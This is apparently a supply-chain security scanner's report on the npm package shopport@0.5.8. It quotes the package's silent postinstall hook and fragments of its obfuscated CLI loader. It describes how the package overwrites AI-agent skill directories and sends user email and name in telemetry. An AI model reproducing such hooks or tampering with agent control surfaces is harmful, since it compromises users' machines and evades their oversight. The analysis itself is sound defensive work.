registry / Install hook abuse / shopport
shopport
커머스 운영 자동화 CLI — Cafe24, Coupang, SmartStore, Shopify 통합 관리
This report shows the evidence for shopport@0.5.8. 5 of 6 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 1mo ago · by lpm-firewall-aiThe automatic lifecycle trigger, deliberate obfuscation, broad agent-skill replacement, and telemetry form a concrete malicious install-hook chain. The commerce functionality does not justify unconsented postinstall mutation of unrelated agent directories.
Static reason
High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source
Trigger
npm postinstall during package installation.
Impact
Unconsented mutation of broad AI-agent control surfaces and disclosure of command and user metadata.
Mechanism
Obfuscated automatic AI-agent skill deployment with telemetry.
Attack narrative
The npm postinstall hook launches dist/cli.js setup-skills with output suppressed. The obfuscated CLI enumerates several agent skill locations, removes matching existing skill directories, and copies the package's bundled skills into them. Its common command completion path also invokes PostHog telemetry and conditionally includes configured email and name. This is an automatic, opaque mutation of foreign AI-agent control surfaces rather than an explicit user setup command.
AI rationale
The automatic lifecycle trigger, deliberate obfuscation, broad agent-skill replacement, and telemetry form a concrete malicious install-hook chain. The commerce functionality does not justify unconsented postinstall mutation of unrelated agent directories.
Evidence
package.jsondist/cli.jsdist/skills
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook silently runs the bundled CLI with setup-skills on every installation.
- The shipped CLI is deliberately obfuscated and automatically copies its bundled skills into multiple agent skill directories, deleting prior matching entries.
- The CLI collects command metadata and optional user email and name for PostHog telemetry after command execution, including the install-triggered command.
Evidence against
- The package contains commerce CLI commands and bundled skill documentation consistent with its stated product.
Behavioral surface
EnvironmentVarsNetwork
HighEntropyStringsMinifiedObfuscatedUrlStrings
NoLicense
Oversized source lightweight scan
dist/cli.js2.60 MB file, sampled 256 KB
NetworkEnvironmentVarsObfuscatedMinified
dist/dashboard-ui/assets/index-DbEFJcBf.js2.32 MB file, sampled 256 KB
NetworkHighEntropyStringsMinifiedUrlStringsreact.dev
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node -e "try{require('child_process').execFileSync(process.execPath,['dist/cli.js','setup-skills'],{stdio:'pipe'})}catch(_){}"
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "try{require('child_process').execFileSync(process.execPath,['dist/cli.js','setup-skills'],{stdio:'pipe'})}catch(_){}"
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgdist/cli.jsView file
•matchType = previous_version_dangerous_delta
matchedPackage = shopport@0.5.0
matchedIdentity = npm:c2hvcHBvcnQ:0.5.0
similarity = 1.000
summary = stored previous version shares package body but lacks this dangerous source file
Critical
Previous Version Dangerous Delta
This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.
dist/cli.jsView on unpkg1#!/usr/bin/env bun
L2: const _0xba7064=_0x5690;(function(_0x4d9037,_0x1b967a){const _0x119d6c=_0x5690,_0x48a86f=_0x4d9037();while(!![]){try{const _0x4ab121=parseInt(_0x119d6c(0x228e))/0x1*(-parseInt(_0x1...
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
dist/cli.jsView on unpkg · L11#!/usr/bin/env bun
L2: const _0xba7064=_0x5690;(function(_0x4d9037,_0x1b967a){const _0x119d6c=_0x5690,_0x48a86f=_0x4d9037();while(!![]){try{const _0x4ab121=parseInt(_0x119d6c(0x228e))/0x1*(-parseInt(_0x1...
High
Command Output Exfiltration
Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.
dist/cli.jsView on unpkg · L11#!/usr/bin/env bun
L2: const _0xba7064=_0x5690;(function(_0x4d9037,_0x1b967a){const _0x119d6c=_0x5690,_0x48a86f=_0x4d9037();while(!![]){try{const _0x4ab121=parseInt(_0x119d6c(0x228e))/0x1*(-parseInt(_0x1...
High
Obfuscated Payload Loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
dist/cli.jsView on unpkg · L11Trigger-reachable command-output exfiltration chain: scripts.start -> dist/cli.js
L1: #!/usr/bin/env bun
L2: const _0xba7064=_0x5690;(function(_0x4d9037,_0x1b967a){const _0x119d6c=_0x5690,_0x48a86f=_0x4d9037();while(!![]){try{const _0x4ab121=parseInt(_0x119d6c(0x228e))/0x1*(-parseInt(_0x1...
High
Trigger Reachable Command Output Exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
dist/cli.jsView on unpkg · L1•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 2
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
dist/cli.jsView on unpkgFindings
2 Critical7 High3 Medium5 Low
CriticalRed Install Lifecycle Scriptpackage.json
CriticalPrevious Version Dangerous Deltadist/cli.js
HighInstall Time Lifecycle Scriptspackage.json
HighSame File Env Network Executiondist/cli.js
HighCommand Output Exfiltrationdist/cli.js
HighObfuscated Payload Loaderdist/cli.js
HighTrigger Reachable Command Output Exfiltrationdist/cli.js
HighObfuscated
HighSemantic Analysis Limiteddist/cli.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to shopport@0.5.8.
The versions list below shows the verdict for each recorded version.
- Avoid installing shopport@0.5.8. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
6 known versions0.5.8latestshownMaliciousInstall Hook AbuseBlockPublishedSep 3, 2026, 2:03 AM0.5.7MaliciousSoft block: AI-agent control surfaceBlockPublishedAug 31, 2026, 10:57 AM0.5.6MaliciousSoft block: AI-agent control surfaceBlockPublishedAug 28, 2026, 4:08 AM0.5.1MaliciousSoft block: AI-agent control surfaceBlockPublishedJul 13, 2026, 5:12 AM0.5.0SuspiciousAgent extension lifecycle riskWarnPublishedJul 13, 2026, 4:28 AM0.4.3MaliciousSoft block: AI-agent control surfaceBlockPublishedJul 13, 2026, 3:49 AM